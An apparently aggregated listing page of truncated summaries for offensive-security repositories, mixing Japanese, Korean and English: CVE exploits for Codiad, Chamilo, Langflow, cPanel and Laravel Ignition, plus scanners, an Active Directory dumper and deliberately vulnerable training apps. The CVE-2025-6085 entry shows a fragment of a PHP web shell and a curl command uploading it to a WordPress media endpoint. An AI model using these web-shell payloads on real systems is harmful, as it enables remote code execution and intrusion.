Codiad-CVE-2018-14009

codiad をインストール @ git clone https://github.com/Codiad/Codiad.git 再現手順 1. Ubuntu サーバー上に Codiad 2.8.4（最新版）の脆弱な環境をセットアップする root@kitploit: @ chmod o+w config.php @ chmod o+w workspace @ chmod o+w plugins @ chmod o+w themes @ chmod o+w data 2. @ git clone...

CVE-2023-4220

Chamilo CVE-2023-4220 Exploit CVE-2023-4220 の脆弱性は、Chamilo のバージョン = 1.11.24 に影響するファイルアップロードの脆弱性です。この脆弱性により、攻撃者は /main/inc/lib/javascript/bigupload/inc/bigUpload.php にウェブシェルをアップロードすることでリモートでコマンドを実行でき、そのウェブシェルは /main/inc/lib/javascript/bigupload/files ディレクトリに保存されます。 インストール root@kitploit: git clone...

CVE-2025-43960

CVE-2025-43960 - Adminer Adminer のクラッシュが他のサービス/テナント 例: コンテナや共有プロセス にも影響を与える場合、スコープ: 変更 が適用される可能性があります: ベクター: AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H スコア: 8.6 High 追加情報 潜在的な緩和策 Adminer および Monolog 内で信頼できないデータに対して unserialize を使用しない。 PHP でメモリ制限 memorylimit を適用し、過剰なリソース消費を防ぐ。 unserialize で allowedclasse...

CVE-2025-6085

Make Connector shello.php ".shellexec$GET"cmd".""; ? EOF curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \ -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \ -F "[email protected]" \ -F "title=Hacker World" \ -F "description=A test file" \ -F "caption=Hacker Caption" \ アップロードフォルダに配置されたシェルを利用します...

vexhub

VEX Hubは、さまざまなオープンソースソフトウェアプロジェクトから Vulnerability Exploitability eXchange（VEX） ドキュメントを収集・管理する集中リポジトリです。 脆弱性情報の包括的なリソースとして機能し、ユーザーやセキュリティツールが複数のプロジェクトやエコシステムにわたってVEXデータへ効率的にアクセス・活用できるようにします。 VEX Hubは、登録されたプロジェクトのソースリポジトリからVEXドキュメントを自動的に取得します。 登録された Package URL（PURL） からソースリポジトリを特定することで、VEX...

SourceLeakHacker

설명 SourceLeakHacker는 멀티 스레드 웹 디렉토리 스캐너입니다. 설치 root@kitploit: pip install -r requirements.txt 사용법 root@kitploit: usage: SourceLeakHacker.py options optional arguments: -h, --help show this help message and exit --url URL url to scan, eg: 'http://127.0.0.1/' --urls URLS file contains urls to scan,...

adwsdomaindump

ADWSDomainDump Active Directory 정보 덤퍼 via ADWS Active Directory Web Services. 설치 권장 설치 방법: root@kitploit: pipx install git+https://github.com/mverschu/adwsdomaindump 또는 pipx install . 사용법 root@kitploit: adwsdomaindump -u 'corp.local\jsmith' -p 'password' -n 10.0.0.1 dc01.corp.local Connecting to...

CVE-2017-9841

🔍 特徴 マルチスレッドスキャン ：複数のターゲットを効率的にテスト インテリジェントなペイロード生成 ：一意の識別子を使用した正確な検証 複数の脆弱性パスチェック ：一般的なWebアプリケーション構造全体をカバー 自動応答検証 ：実際の脆弱性を確認 詳細なログ記録 ：脆弱なサイトとエラーを記録 カラフルなターミナル出力 ：リアルタイムの進捗状況表示 設定可能なタイムアウトとリトライ機構 ：信頼性の高いスキャンを実現 📋 必要条件 Python 3.6+ 必要なPythonパッケージ（インストールセクションを参照） スキャン対象のドメイン/IPリスト 🚀 インストール 1...

CVE-2026-9198

🚨 CVE-2026-9198 自動ログインバイパスによる IBM Langflow OSS 未認証 RCE 📋 概要 CVE-2026-9198 は、IBM Langflow OSS における重大な未認証リモートコード実行 RCE 脆弱性です。このエクスプロイトは、以下の2つの脆弱性を連鎖させます: CVE-2026-9103 : 未認証の呼び出し元にスーパーユーザー JWT トークンを付与する自動ログインバイパス CVE-2026-8481 : 任意の Python 実行を可能にする /api/v1/validate/code エンドポイントにおけるコードインジェクション ⚠️ 警告 ...

sparrow-wifi

Sparrow-WiFi Sparrow-WiFi is a 2.4 GHz and 5 GHz WiFi and Bluetooth spectral awareness tool for Linux. It integrates WiFi scanning, Bluetooth Low Energy and Classic discovery, software-defined radio spectrum analysis HackRF, Ubertooth, GPS tracking, FAA RemoteID drone detection, drone/rover-mount...

sparrow-wifi

Sparrow-WiFi Sparrow-WiFi は、Linux 向けの 2.4 GHz および 5 GHz の WiFi および Bluetooth スペクトル認識ツールです。これは、WiFi スキャン、Bluetooth Low Energy および Classic の発見、ソフトウェア定義無線スペクトル分析 HackRF, Ubertooth、GPS 追跡、FAA RemoteID ドローン検出、ドローン/ローバー搭載のリモート操作、および Elasticsearch または OpenSearch への ECS 8.17 インデックス作成を単一のプラットフォームに統合します。完全...

rainmap-lite

rainmap-lite Rainmap Lite - 모바일/태블릿/웹 브라우저에서 Nmap 스캔을 실행할 수 있게 해주는 반응형 웹 애플리케이션입니다! 이전 버전 1과 달리 Rainmap-lite는 특별한 서비스RabbitMQ, PostgreSQL, Celery, supervisor 등가 필요하지 않아 모든 서버에 쉽게 설치할 수 있습니다. Django 애플리케이션을 설치하고 cron 폴링 작업을 추가하기만 하면 새로운 스캐닝 서버를 설정할 수 있습니다. 모두를 위한 이동 중 Nmap 스캔! 1 Rainmap -...

railsgoat

RailsGoat RailsGoat は、Ruby on Rails で構築された意図的に脆弱性を含む Web アプリケーションです。OWASP Top 10 の実際のセキュリティ脆弱性を実演し、開発者やセキュリティ専門家のための実践的なトレーニングプラットフォームとして機能します。 RailsGoat とは？ RailsGoat は、Web アプリケーションのセキュリティを教えるために設計された、意図的に安全でない Rails アプリケーションです。その脆弱性を探索し悪用することで、以下を学ぶことができます。 一般的なセキュリティ欠陥が Rails アプリケーションでどのように現れる...

vuln-bank

Vulnerable Bank Application 🏦 Web、API、LLMを対象としたアプリケーションセキュリティテスト、セキュアコードレビュー、CI/CDパイプラインへのセキュリティ実装を練習するための、意図的に脆弱なWebアプリケーションです。 ⚠️ 警告：このアプリケーションは意図的に脆弱性を含んでおり、教育目的でのみ隔離された環境で使用してください。 概要...

Exploit for CVE-2024-36058

CVE-2024-36058 — Koha Library Software CVE ID: CVE-2024-3...

Exploit for CVE-2024-36057

CVE-2024-36057 — Koha Library Software CVE ID: CVE-2024-3...

CVE-2024-31819

스크립트 설치 및 실행 💻 사전 요구 사항 시작하기 전에, 다음 도구들이 시스템에 설치되어 있는지 확인하세요: Python 3.x Git pip Python 종속성 관리를 위한 설치 단계 1. 저장소 복제 git을 사용하여 저장소를 복제하세요: root@kitploit: git clone https://github.com/dream434/CVE-2024-31819 2. 프로젝트 디렉토리로 이동 root@kitploit: cd CVE-2024-31819 3. 종속성 설치 📥 root@kitploit: pip install -r...

Automated-scanner-CVE-2026-41940

CPANEL CVE EXPLOIT English | فارسی Persian root@kitploit: ██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗ ██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║ ██║ ██████╔╝███████║██╔██╗ ██║█████╗ ██║ ██║ ██╔═══╝ ██╔══██║██║╚██╗██║██╔══╝ ██║ ╚██████╗██║ ██║ ██║██║ ╚████║███████╗███████╗ ╚═════╝╚═╝ ╚═╝ ╚═╝╚═╝...

cve_2026_31431

CVE-2026-31431 "Copy Fail" ツールキット 2026年4月29日に開示されたLinuxの algifaead / authencesn ページキャッシュ・スクラッチ書き込みバグに対する検出器および概念実証LPEです。 開示レポート: https://xint.io/blog/copy-fail-linux-distributions 許可...

CVE-2021-3129

CVE-2021-3129 ファイルアップロードによるLaravel Ignitionの未認証RCE CVEの概要 影響を受けるバージョンのLaravel Ignitionでは、filegetcontents と fileputcontents の安全でない使用により、攻撃者が任意のコードを実行できる可能性があります。 これは、デバッグモードを使用するWebサイトでのみ悪用可能です。 影響を受けるバージョン Laravel Ignition 2.5.2 および Laravel 8.4.2 注意事項...